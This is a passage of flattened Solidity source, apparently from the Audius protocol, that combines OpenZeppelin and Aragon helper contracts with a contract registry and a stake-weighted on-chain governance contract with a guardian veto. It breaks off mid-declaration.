@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Initializable, Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } uint256[50] private ______gap; } // File: @aragon/court/contracts/lib/Checkpointing.sol pragma solidity ^0.5.8; /** * @title Checkpointing - Library to handle a historic set of numeric values */ library Checkpointing { uint256 private constant MAX_UINT192 = uint256(uint192(-1)); string private constant ERROR_VALUE_TOO_BIG = "CHECKPOINT_VALUE_TOO_BIG"; string private constant ERROR_CANNOT_ADD_PAST_VALUE = "CHECKPOINT_CANNOT_ADD_PAST_VALUE"; /** * @dev To specify a value at a given point in time, we need to store two values: * - `time`: unit-time value to denote the first time when a value was registered * - `value`: a positive numeric value to registered at a given point in time * * Note that `time` does not need to refer necessarily to a timestamp value, any time unit could be used * for it like block numbers, terms, etc. */ struct Checkpoint { uint64 time; uint192 value; } /** * @dev A history simply denotes a list of checkpoints */ struct History { Checkpoint[] history; } /** * @dev Add a new value to a history for a given point in time. This function does not allow to add values previous * to the latest registered value, if the value willing to add corresponds to the latest registered value, it * will be updated. * @param self Checkpoints history to be altered * @param _time Point in time to register the given value * @param _value Numeric value to be registered at the given point in time */ function add(History storage self, uint64 _time, uint256 _value) internal { require(_value <= MAX_UINT192, ERROR_VALUE_TOO_BIG); _add192(self, _time, uint192(_value)); } /** * @dev Fetch the latest registered value of history, it will return zero if there was no value registered * @param self Checkpoints history to be queried */ function getLast(History storage self) internal view returns (uint256) { uint256 length = self.history.length; if (length > 0) { return uint256(self.history[length - 1].value); } return 0; } /** * @dev Fetch the most recent registered past value of a history based on a given point in time that is not known * how recent it is beforehand. It will return zero if there is no registered value or if given time is * previous to the first registered value. * It uses a binary search. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function get(History storage self, uint64 _time) internal view returns (uint256) { return _binarySearch(self, _time); } /** * @dev Fetch the most recent registered past value of a history based on a given point in time. It will return zero * if there is no registered value or if given time is previous to the first registered value. * It uses a linear search starting from the end. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function getRecent(History storage self, uint64 _time) internal view returns (uint256) { return _backwardsLinearSearch(self, _time); } /** * @dev Private function to add a new value to a history for a given point in time. This function does not allow to * add values previous to the latest registered value, if the value willing to add corresponds to the latest * registered value, it will be updated. * @param self Checkpoints history to be altered * @param _time Point in time to register the given value * @param _value Numeric value to be registered at the given point in time */ function _add192(History storage self, uint64 _time, uint192 _value) private { uint256 length = self.history.length; if (length == 0 || self.history[self.history.length - 1].time < _time) { // If there was no value registered or the given point in time is after the latest registered value, // we can insert it to the history directly. self.history.push(Checkpoint(_time, _value)); } else { // If the point in time given for the new value is not after the latest registered value, we must ensure // we are only trying to update the latest value, otherwise we would be changing past data. Checkpoint storage currentCheckpoint = self.history[length - 1]; require(_time == currentCheckpoint.time, ERROR_CANNOT_ADD_PAST_VALUE); currentCheckpoint.value = _value; } } /** * @dev Private function to execute a backwards linear search to find the most recent registered past value of a * history based on a given point in time. It will return zero if there is no registered value or if given time * is previous to the first registered value. Note that this function will be more suitable when we already know * that the time used to index the search is recent in the given history. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function _backwardsLinearSearch(History storage self, uint64 _time) private view returns (uint256) { // If there was no value registered for the given history return simply zero uint256 length = self.history.length; if (length == 0) { return 0; } uint256 index = length - 1; Checkpoint storage checkpoint = self.history[index]; while (index > 0 && checkpoint.time > _time) { index--; checkpoint = self.history[index]; } return checkpoint.time > _time ? 0 : uint256(checkpoint.value); } /** * @dev Private function execute a binary search to find the most recent registered past value of a history based on * a given point in time. It will return zero if there is no registered value or if given time is previous to * the first registered value. Note that this function will be more suitable when don't know how recent the * time used to index may be. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function _binarySearch(History storage self, uint64 _time) private view returns (uint256) { // If there was no value registered for the given history return simply zero uint256 length = self.history.length; if (length == 0) { return 0; } // If the requested time is equal to or after the time of the latest registered value, return latest value uint256 lastIndex = length - 1; if (_time >= self.history[lastIndex].time) { return uint256(self.history[lastIndex].value); } // If the requested time is previous to the first registered value, return zero to denote missing checkpoint if (_time < self.history[0].time) { return 0; } // Execute a binary search between the checkpointed times of the history uint256 low = 0; uint256 high = lastIndex; while (high > low) { // No need for SafeMath: for this to overflow array size should be ~2^255 uint256 mid = (high + low + 1) / 2; Checkpoint storage checkpoint = self.history[mid]; uint64 midTime = checkpoint.time; if (_time > midTime) { low = mid; } else if (_time < midTime) { // No need for SafeMath: high > low >= 0 => high >= 1 => mid >= 1 high = mid - 1; } else { return uint256(checkpoint.value); } } return uint256(self.history[low].value); } } // File: @aragon/court/contracts/lib/os/Uint256Helpers.sol // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/Uint256Helpers.sol // Adapted to use pragma ^0.5.8 and satisfy our linter rules pragma solidity ^0.5.8; library Uint256Helpers { uint256 private constant MAX_UINT8 = uint8(-1); uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_UINT8_NUMBER_TOO_BIG = "UINT8_NUMBER_TOO_BIG"; string private constant ERROR_UINT64_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint8(uint256 a) internal pure returns (uint8) { require(a <= MAX_UINT8, ERROR_UINT8_NUMBER_TOO_BIG); return uint8(a); } function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_UINT64_NUMBER_TOO_BIG); return uint64(a); } } // File: contracts/InitializableV2.sol pragma solidity >=0.4.24 <0.7.0; /** * Wrapper around OpenZeppelin's Initializable contract. * Exposes initialized state management to ensure logic contract functions cannot be called before initialization. * This is needed because OZ's Initializable contract no longer exposes initialized state variable. * https://github.com/OpenZeppelin/openzeppelin-sdk/blob/v2.8.0/packages/lib/contracts/Initializable.sol */ contract InitializableV2 is Initializable { bool private isInitialized; string private constant ERROR_NOT_INITIALIZED = "InitializableV2: Not initialized"; /** * @notice wrapper function around parent contract Initializable's `initializable` modifier * initializable modifier ensures this function can only be called once by each deployed child contract * sets isInitialized flag to true to which is used by _requireIsInitialized() */ function initialize() public initializer { isInitialized = true; } /** * @notice Reverts transaction if isInitialized is false. Used by child contracts to ensure * contract is initialized before functions can be called. */ function _requireIsInitialized() internal view { require(isInitialized == true, ERROR_NOT_INITIALIZED); } /** * @notice Exposes isInitialized bool var to child contracts with read-only access */ function _isInitialized() internal view returns (bool) { return isInitialized; } } // File: @openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } // File: contracts/registry/Registry.sol pragma solidity ^0.5.0; /** * @title Central hub for Audius protocol. It stores all contract addresses to facilitate * external access and enable version management. */ contract Registry is InitializableV2, Ownable { using SafeMath for uint256; /** * @dev addressStorage mapping allows efficient lookup of current contract version * addressStorageHistory maintains record of all contract versions */ mapping(bytes32 => address) private addressStorage; mapping(bytes32 => address[]) private addressStorageHistory; event ContractAdded( bytes32 indexed _name, address indexed _address ); event ContractRemoved( bytes32 indexed _name, address indexed _address ); event ContractUpgraded( bytes32 indexed _name, address indexed _oldAddress, address indexed _newAddress ); function initialize() public initializer { /// @notice Ownable.initialize(address _sender) sets contract owner to _sender. Ownable.initialize(msg.sender); InitializableV2.initialize(); } // ========================================= Setters ========================================= /** * @notice addContract registers contract name to address mapping under given registry key * @param _name - registry key that will be used for lookups * @param _address - address of contract */ function addContract(bytes32 _name, address _address) external onlyOwner { _requireIsInitialized(); require( addressStorage[_name] == address(0x00), "Registry: Contract already registered with given name." ); require( _address != address(0x00), "Registry: Cannot register zero address." ); setAddress(_name, _address); emit ContractAdded(_name, _address); } /** * @notice removes contract address registered under given registry key * @param _name - registry key for lookup */ function removeContract(bytes32 _name) external onlyOwner { _requireIsInitialized(); address contractAddress = addressStorage[_name]; require( contractAddress != address(0x00), "Registry: Cannot remove - no contract registered with given _name." ); setAddress(_name, address(0x00)); emit ContractRemoved(_name, contractAddress); } /** * @notice replaces contract address registered under given key with provided address * @param _name - registry key for lookup * @param _newAddress - new contract address to register under given key */ function upgradeContract(bytes32 _name, address _newAddress) external onlyOwner { _requireIsInitialized(); address oldAddress = addressStorage[_name]; require( oldAddress != address(0x00), "Registry: Cannot upgrade - no contract registered with given _name." ); require( _newAddress != address(0x00), "Registry: Cannot upgrade - cannot register zero address." ); setAddress(_name, _newAddress); emit ContractUpgraded(_name, oldAddress, _newAddress); } // ========================================= Getters ========================================= /** * @notice returns contract address registered under given registry key * @param _name - registry key for lookup * @return contractAddr - address of contract registered under given registry key */ function getContract(bytes32 _name) external view returns (address contractAddr) { _requireIsInitialized(); return addressStorage[_name]; } /// @notice overloaded getContract to return explicit version of contract function getContract(bytes32 _name, uint256 _version) external view returns (address contractAddr) { _requireIsInitialized(); // array length for key implies version number require( _version <= addressStorageHistory[_name].length, "Registry: Index out of range _version." ); return addressStorageHistory[_name][_version.sub(1)]; } /** * @notice Returns the number of versions for a contract key * @param _name - registry key for lookup * @return number of contract versions */ function getContractVersionCount(bytes32 _name) external view returns (uint256) { _requireIsInitialized(); return addressStorageHistory[_name].length; } // ========================================= Private functions ========================================= /** * @param _key the key for the contract address * @param _value the contract address */ function setAddress(bytes32 _key, address _value) private { // main map for cheap lookup addressStorage[_key] = _value; // keep track of contract address history addressStorageHistory[_key].push(_value); } } // File: contracts/Governance.sol pragma solidity ^0.5.0; contract Governance is InitializableV2 { using SafeMath for uint256; string private constant ERROR_ONLY_GOVERNANCE = ( "Governance: Only callable by self" ); string private constant ERROR_INVALID_VOTING_PERIOD = ( "Governance: Requires non-zero _votingPeriod" ); string private constant ERROR_INVALID_REGISTRY = ( "Governance: Requires non-zero _registryAddress" ); string private constant ERROR_INVALID_VOTING_QUORUM = ( "Governance: Requires _votingQuorumPercent between 1 & 100" ); /** * @notice Address and contract instance of Audius Registry. Used to ensure this contract * can only govern contracts that are registered in the Audius Registry. */ Registry private registry; /// @notice Address of Audius staking contract, used to permission Governance method calls address private stakingAddress; /// @notice Address of Audius ServiceProvider contract, used to permission Governance method calls address private serviceProviderFactoryAddress; /// @notice Address of Audius DelegateManager contract, used to permission Governance method calls address private delegateManagerAddress; /// @notice Period in blocks for which a governance proposal is open for voting uint256 private votingPeriod; /// @notice Number of blocks that must pass after votingPeriod has expired before proposal can be evaluated/executed uint256 private executionDelay; /// @notice Required minimum percentage of total stake to have voted to consider a proposal valid /// Percentaged stored as a uint256 between 0 & 100 /// Calculated as: 100 * sum of voter stakes / total staked in Staking (at proposal submission block) uint256 private votingQuorumPercent; /// @notice Max number of InProgress proposals possible at once /// @dev uint16 gives max possible value of 65,535 uint16 private maxInProgressProposals; /** * @notice Address of account that has special Governance permissions. Can veto proposals * and execute transactions directly on contracts. */ address private guardianAddress; /***** Enums *****/ /** * @notice All Proposal Outcome states. * InProgress - Proposal is active and can be voted on. * Rejected - Proposal votingPeriod has closed and vote failed to pass. Proposal will not be executed. * ApprovedExecuted - Proposal votingPeriod has closed and vote passed. Proposal was successfully executed. * QuorumNotMet - Proposal votingPeriod has closed and votingQuorumPercent was not met. Proposal will not be executed. * ApprovedExecutionFailed - Proposal vote passed, but transaction execution failed. * Evaluating - Proposal vote passed, and evaluateProposalOutcome function is currently running. * This status is transiently used inside that function to prevent re-entrancy. * Vetoed - Proposal was vetoed by Guardian. * TargetContractAddressChanged - Proposal considered invalid since target contract address changed * TargetContractCodeHashChanged - Proposal considered invalid since code has at target contract address has changed */ enum Outcome { InProgress, Rejected, ApprovedExecuted, QuorumNotMet, ApprovedExecutionFailed, Evaluating, Vetoed, TargetContractAddressChanged, TargetContractCodeHashChanged } /** * @notice All Proposal Vote states for a voter. * None - The default state, for any account that has not previously voted on this Proposal. * No - The account voted No on this Proposal. * Yes - The account voted Yes on this Proposal. * @dev Enum values map to uints, so first value in Enum always is 0. */ enum Vote {None, No, Yes} struct Proposal { uint256 proposalId; address proposer; uint256 submissionBlockNumber; bytes32 targetContractRegistryKey; address targetContractAddress; uint256 callValue; string functionSignature; bytes callData; Outcome outcome; uint256 voteMagnitudeYes; uint256 voteMagnitudeNo; uint256 numVotes; mapping(address => Vote) votes; mapping(address => uint256) voteMagnitudes; bytes32 contractHash; } /***** Proposal storage *****/ /// @notice ID of most recently created proposal. Ids are monotonically increasing and 1-indexed. uint256 lastProposalId = 0; /// @notice mapping of proposalId to Proposal struct with all proposal state mapping(uint256 => Proposal) proposals; /// @notice array of proposals with InProgress state uint256[] inProgressProposals; /***** Events *****/ event ProposalSubmitted( uint256 indexed _proposalId, address indexed _proposer, string _name, string _description ); event ProposalVoteSubmitted( uint256 indexed _proposalId, address indexed _voter, Vote indexed _vote, uint256 _voterStake ); event ProposalVoteUpdated( uint256 indexed _proposalId, address indexed _voter, Vote indexed _vote, uint256 _voterStake, Vote _previousVote ); event ProposalOutcomeEvaluated( uint256 indexed _proposalId, Outcome indexed _outcome, uint256 _voteMagnitudeYes, uint256 _voteMagnitudeNo, uint256 _numVotes ); event ProposalTransactionExecuted( uint256 indexed _proposalId, bool indexed _success, bytes _returnData ); event GuardianTransactionExecuted( address indexed _targetContractAddress, uint256 _callValue, string indexed _functionSignature, bytes indexed _callData, bytes _returnData ); event ProposalVetoed(uint256 indexed _proposalId); event RegistryAddressUpdated(address indexed _newRegistryAddress); event GuardianshipTransferred(address indexed _newGuardianAddress); event VotingPeriodUpdated(uint256 indexed _newVotingPeriod); event ExecutionDelayUpdated(uint256 indexed _newExecutionDelay); event VotingQuorumPercentUpdated(uint256 indexed _newVotingQuorumPercent); event MaxInProgressProposalsUpdated(uint256 indexed _newMaxInProgressProposals); /** * @notice Initialize the Governance contract * @dev _votingPeriod <= DelegateManager.undelegateLockupDuration * @dev stakingAddress must be initialized separately after Staking contract is deployed * @param _registryAddress - address of the registry proxy contract * @param _votingPeriod - period in blocks for which a governance proposal is open for voting * @param _executionDelay - number of blocks that must pass after votingPeriod has expired before proposal can be evaluated/executed * @param _votingQuorumPercent - required minimum percentage of total stake to have voted to consider a proposal valid * @param _maxInProgressProposals - max number of InProgress proposals possible at once * @param _guardianAddress - address of account that has special Governance permissions */ function initialize( address _registryAddress, uint256 _votingPeriod, uint256 _executionDelay, uint256 _votingQuorumPercent, uint16 _maxInProgressProposals, address _guardianAddress ) public initializer { require(_registryAddress != address(0x00), ERROR_INVALID_REGISTRY); registry = Registry(_registryAddress); require(_votingPeriod > 0, ERROR_INVALID_VOTING_PERIOD); votingPeriod = _votingPeriod; // executionDelay does not have to be non-zero executionDelay = _executionDelay; require( _maxInProgressProposals > 0, "Governance: Requires non-zero _maxInProgressProposals" ); maxInProgressProposals = _maxInProgressProposals; require( _votingQuorumPercent > 0 && _votingQuorumPercent <= 100, ERROR_INVALID_VOTING_QUORUM ); votingQuorumPercent = _votingQuorumPercent; require( _guardianAddress != address(0x00), "Governance: Requires non-zero _guardianAddress" ); guardianAddress = _guardianAddress; //Guardian address becomes the only party InitializableV2.initialize(); } // ========================================= Governance Actions ========================================= /** * @notice Submit a proposal for vote. Only callable by addresses with non-zero total active stake. * total active stake = total active deployer stake + total active delegator stake * * @dev _name and _description length is not enforced since they aren't stored on-chain and only event emitted * * @param _targetContractRegistryKey - Registry key for the contract concerning this proposal * @param _callValue - amount of wei to pass with function call if a token transfer is involved * @param _functionSignature - function signature of the function to be executed if proposal is successful * @param _callData - encoded value(s) to call function with if proposal is successful * @param _name - Text name of proposal to be emitted in event * @param _description - Text description of proposal to be emitted in event * * @return - ID of new proposal */ function submitProposal( bytes32 _targetContractRegistryKey, uint256 _callValue, string calldata _functionSignature, bytes calldata _callData, string calldata _name, string calldata _description ) external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); _requireDelegateManagerAddressIsSet(); address proposer = msg.sender; // Require all InProgress proposals that can be evaluated have been evaluated before new proposal submission require( this.inProgressProposalsAreUpToDate(), "Governance: Cannot submit new proposal until all evaluatable InProgress proposals are evaluated." ); // Require new proposal submission would not push number of InProgress proposals over max number require( inProgressProposals.length < maxInProgressProposals, "Governance: Number of InProgress proposals already at max. Please evaluate if possible, or wait for current proposals' votingPeriods to expire." ); // Require proposer has non-zero total active stake or is guardian address require( _calculateAddressActiveStake(proposer) > 0 || proposer == guardianAddress, "Governance: Proposer must be address with non-zero total active stake or be guardianAddress." ); // Require _targetContractRegistryKey points to a valid registered contract address targetContractAddress = registry.getContract(_targetContractRegistryKey); require( targetContractAddress != address(0x00), "Governance: _targetContractRegistryKey must point to valid registered contract" ); // Signature cannot be empty require( bytes(_functionSignature).length != 0, "Governance: _functionSignature cannot be empty." ); // Require non-zero description length require(bytes(_description).length > 0, "Governance: _description length must be > 0"); // Require non-zero name length require(bytes(_name).length > 0, "Governance: _name length must be > 0"); // set proposalId uint256 newProposalId = lastProposalId.add(1); // Store new Proposal obj in proposals mapping proposals[newProposalId] = Proposal({ proposalId: newProposalId, proposer: proposer, submissionBlockNumber: block.number, targetContractRegistryKey: _targetContractRegistryKey, targetContractAddress: targetContractAddress, callValue: _callValue, functionSignature: _functionSignature, callData: _callData, outcome: Outcome.InProgress, voteMagnitudeYes: 0, voteMagnitudeNo: 0, numVotes: 0, contractHash: _getCodeHash(targetContractAddress) /* votes: mappings are auto-initialized to default state */ /* voteMagnitudes: mappings are auto-initialized to default state */ }); // Append new proposalId to inProgressProposals array inProgressProposals.push(newProposalId); emit ProposalSubmitted( newProposalId, proposer, _name, _description ); lastProposalId = newProposalId; return newProposalId; } /** * @notice Vote on an active Proposal. Only callable by addresses with non-zero active stake. * @param _proposalId - id of the proposal this vote is for * @param _vote - can be either {Yes, No} from Vote enum. No other values allowed */ function submitVote(uint256 _proposalId, Vote _vote) external { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); _requireDelegateManagerAddressIsSet(); _requireValidProposalId(_proposalId); address voter = msg.sender; // Require proposal votingPeriod is still active uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber; uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod); require( block.number > submissionBlockNumber && block.number <= endBlockNumber, "Governance: Proposal votingPeriod has ended" ); // Require voter has non-zero total active stake uint256 voterActiveStake = _calculateAddressActiveStake(voter); require( voterActiveStake > 0, "Governance: Voter must be address with non-zero total active stake." ); // Require previous vote is None require( proposals[_proposalId].votes[voter] == Vote.None, "Governance: To update previous vote, call updateVote()" ); // Require vote is either Yes or No require( _vote == Vote.Yes || _vote == Vote.No, "Governance: Can only submit a Yes or No vote" ); // Record vote proposals[_proposalId].votes[voter] = _vote; // Record voteMagnitude for voter proposals[_proposalId].voteMagnitudes[voter] = voterActiveStake; // Update proposal cumulative vote magnitudes if (_vote == Vote.Yes) { _increaseVoteMagnitudeYes(_proposalId, voterActiveStake); } else { _increaseVoteMagnitudeNo(_proposalId, voterActiveStake); } // Increment proposal numVotes proposals[_proposalId].numVotes = proposals[_proposalId].numVotes.add(1); emit ProposalVoteSubmitted( _proposalId, voter, _vote, voterActiveStake ); } /** * @notice Update previous vote on an active Proposal. Only callable by addresses with non-zero active stake. * @param _proposalId - id of the proposal this vote is for * @param _vote - can be either {Yes, No} from Vote enum. No other values allowed */ function updateVote(uint256 _proposalId, Vote _vote) external { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); _requireDelegateManagerAddressIsSet(); _requireValidProposalId(_proposalId); address voter = msg.sender; // Require proposal votingPeriod is still active uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber; uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod); require( block.number > submissionBlockNumber && block.number <= endBlockNumber, "Governance: Proposal votingPeriod has ended" ); // Retrieve previous vote Vote previousVote = proposals[_proposalId].votes[voter]; // Require previous vote is not None require( previousVote != Vote.None, "Governance: To submit new vote, call submitVote()" ); // Require vote is either Yes or No require( _vote == Vote.Yes || _vote == Vote.No, "Governance: Can only submit a Yes or No vote" ); // Record updated vote proposals[_proposalId].votes[voter] = _vote; // Update vote magnitudes, using vote magnitude from when previous vote was submitted uint256 voteMagnitude = proposals[_proposalId].voteMagnitudes[voter]; if (previousVote == Vote.Yes && _vote == Vote.No) { _decreaseVoteMagnitudeYes(_proposalId, voteMagnitude); _increaseVoteMagnitudeNo(_proposalId, voteMagnitude); } else if (previousVote == Vote.No && _vote == Vote.Yes) { _decreaseVoteMagnitudeNo(_proposalId, voteMagnitude); _increaseVoteMagnitudeYes(_proposalId, voteMagnitude); } // If _vote == previousVote, no changes needed to vote magnitudes. // Do not update numVotes emit ProposalVoteUpdated( _proposalId, voter, _vote, voteMagnitude, previousVote ); } /** * @notice Once the voting period + executionDelay for a proposal has ended, evaluate the outcome and * execute the proposal if voting quorum met & vote passes. * To pass, stake-weighted vote must be > 50% Yes. * @dev Requires that caller is an active staker at the time the proposal is created * @param _proposalId - id of the proposal * @return Outcome of proposal evaluation */ function evaluateProposalOutcome(uint256 _proposalId) external returns (Outcome) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); _requireDelegateManagerAddressIsSet(); _requireValidProposalId(_proposalId); // Require proposal has not already been evaluated. require( proposals[_proposalId].outcome == Outcome.InProgress, "Governance: Can only evaluate InProgress proposal." ); // Re-entrancy should not be possible here since this switches the status of the // proposal to 'Evaluating' so it should fail the status is 'InProgress' check proposals[_proposalId].outcome = Outcome.Evaluating; // Require proposal votingPeriod + executionDelay have ended. uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber; uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod).add(executionDelay); require( block.number > endBlockNumber, "Governance: Proposal votingPeriod & executionDelay must end before evaluation." ); address targetContractAddress = registry.getContract( proposals[_proposalId].targetContractRegistryKey ); Outcome outcome; // target contract address changed -> close proposal without execution. if (targetContractAddress != proposals[_proposalId].targetContractAddress) { outcome = Outcome.TargetContractAddressChanged; } // target contract code hash changed -> close proposal without execution. else if (_getCodeHash(targetContractAddress) != proposals[_proposalId].contractHash) { outcome = Outcome.TargetContractCodeHashChanged; } // voting quorum not met -> close proposal without execution. else if (_quorumMet(proposals[_proposalId], Staking(stakingAddress)) == false) { outcome = Outcome.QuorumNotMet; } // votingQuorumPercent met & vote passed -> execute proposed transaction & close proposal. else if ( proposals[_proposalId].voteMagnitudeYes > proposals[_proposalId].voteMagnitudeNo ) { (bool success, bytes memory returnData) = _executeTransaction( targetContractAddress, proposals[_proposalId].callValue, proposals[_proposalId].functionSignature, proposals[_proposalId].callData ); emit ProposalTransactionExecuted( _proposalId, success, returnData ); // Proposal outcome depends on success of transaction execution. if (success) { outcome = Outcome.ApprovedExecuted; } else { outcome = Outcome.ApprovedExecutionFailed; } } // votingQuorumPercent met & vote did not pass -> close proposal without transaction execution. else { outcome = Outcome.Rejected; } // This records the final outcome in the proposals mapping proposals[_proposalId].outcome = outcome; // Remove from inProgressProposals array _removeFromInProgressProposals(_proposalId); emit ProposalOutcomeEvaluated( _proposalId, outcome, proposals[_proposalId].voteMagnitudeYes, proposals[_proposalId].voteMagnitudeNo, proposals[_proposalId].numVotes ); return outcome; } /** * @notice Action limited to the guardian address that can veto a proposal * @param _proposalId - id of the proposal */ function vetoProposal(uint256 _proposalId) external { _requireIsInitialized(); _requireValidProposalId(_proposalId); require( msg.sender == guardianAddress, "Governance: Only guardian can veto proposals." ); require( proposals[_proposalId].outcome == Outcome.InProgress, "Governance: Cannot veto inactive proposal." ); proposals[_proposalId].outcome = Outcome.Vetoed; // Remove from inProgressProposals array _removeFromInProgressProposals(_proposalId); emit ProposalVetoed(_proposalId); } // ========================================= Config Setters ========================================= /** * @notice Set the Staking address * @dev Only callable by self via _executeTransaction * @param _stakingAddress - address for new Staking contract */ function setStakingAddress(address _stakingAddress) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); require(_stakingAddress != address(0x00), "Governance: Requires non-zero _stakingAddress"); stakingAddress = _stakingAddress; } /** * @notice Set the ServiceProviderFactory address * @dev Only callable by self via _executeTransaction * @param _serviceProviderFactoryAddress - address for new ServiceProviderFactory contract */ function setServiceProviderFactoryAddress(address _serviceProviderFactoryAddress) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); require( _serviceProviderFactoryAddress != address(0x00), "Governance: Requires non-zero _serviceProviderFactoryAddress" ); serviceProviderFactoryAddress = _serviceProviderFactoryAddress; } /** * @notice Set the DelegateManager address * @dev Only callable by self via _executeTransaction * @param _delegateManagerAddress - address for new DelegateManager contract */ function setDelegateManagerAddress(address _delegateManagerAddress) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); require( _delegateManagerAddress != address(0x00), "Governance: Requires non-zero _delegateManagerAddress" ); delegateManagerAddress = _delegateManagerAddress; } /** * @notice Set the voting period for a Governance proposal * @dev Only callable by self via _executeTransaction * @param _votingPeriod - new voting period */ function setVotingPeriod(uint256 _votingPeriod) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); require(_votingPeriod > 0, ERROR_INVALID_VOTING_PERIOD); votingPeriod = _votingPeriod; emit VotingPeriodUpdated(_votingPeriod); } /** * @notice Set the voting quorum percentage for a Governance proposal * @dev Only callable by self via _executeTransaction * @param _votingQuorumPercent - new voting period */ function setVotingQuorumPercent(uint256 _votingQuorumPercent) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); require( _votingQuorumPercent > 0 && _votingQuorumPercent <= 100, ERROR_INVALID_VOTING_QUORUM ); votingQuorumPercent = _votingQuorumPercent; emit VotingQuorumPercentUpdated(_votingQuorumPercent); } /** * @notice Set the Registry address * @dev Only callable by self via _executeTransaction * @param _registryAddress - address for new Registry contract */ function setRegistryAddress(address _registryAddress) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); require(_registryAddress != address(0x00), ERROR_INVALID_REGISTRY); registry = Registry(_registryAddress); emit RegistryAddressUpdated(_registryAddress); } /** * @notice Set the max number of concurrent InProgress proposals * @dev Only callable by self via _executeTransaction * @param _newMaxInProgressProposals - new value for maxInProgressProposals */ function setMaxInProgressProposals(uint16 _newMaxInProgressProposals) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); require( _newMaxInProgressProposals > 0, "Governance: Requires non-zero _newMaxInProgressProposals" ); maxInProgressProposals = _newMaxInProgressProposals; emit MaxInProgressProposalsUpdated(_newMaxInProgressProposals); } /** * @notice Set the execution delay for a proposal * @dev Only callable by self via _executeTransaction * @param _newExecutionDelay - new value for executionDelay */ function setExecutionDelay(uint256 _newExecutionDelay) external { _requireIsInitialized(); require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE); // executionDelay does not have to be non-zero executionDelay = _newExecutionDelay; emit ExecutionDelayUpdated(_newExecutionDelay); } // ========================================= Guardian Actions ========================================= /** * @notice Allows the guardianAddress to execute protocol actions * @param _targetContractRegistryKey - key in registry of target contract * @param _callValue - amount of wei if a token transfer is involved * @param _functionSignature - function signature of the function to be executed if proposal is successful * @param _callData - encoded value(s) to call function with if proposal is successful */ function guardianExecuteTransaction( bytes32 _targetContractRegistryKey, uint256 _callValue, string calldata _functionSignature, bytes calldata _callData ) external { _requireIsInitialized(); require( msg.sender == guardianAddress, "Governance: Only guardian." ); // _targetContractRegistryKey must point to a valid registered contract address targetContractAddress = registry.getContract(_targetContractRegistryKey); require( targetContractAddress != address(0x00), "Governance: _targetContractRegistryKey must point to valid registered contract" ); // Signature cannot be empty require( bytes(_functionSignature).length != 0, "Governance: _functionSignature cannot be empty." ); (bool success, bytes memory returnData) = _executeTransaction( targetContractAddress, _callValue, _functionSignature, _callData ); require(success, "Governance: Transaction failed."); emit GuardianTransactionExecuted( targetContractAddress, _callValue, _functionSignature, _callData, returnData ); } /** * @notice Change the guardian address * @dev Only callable by current guardian * @param _newGuardianAddress - new guardian address */ function 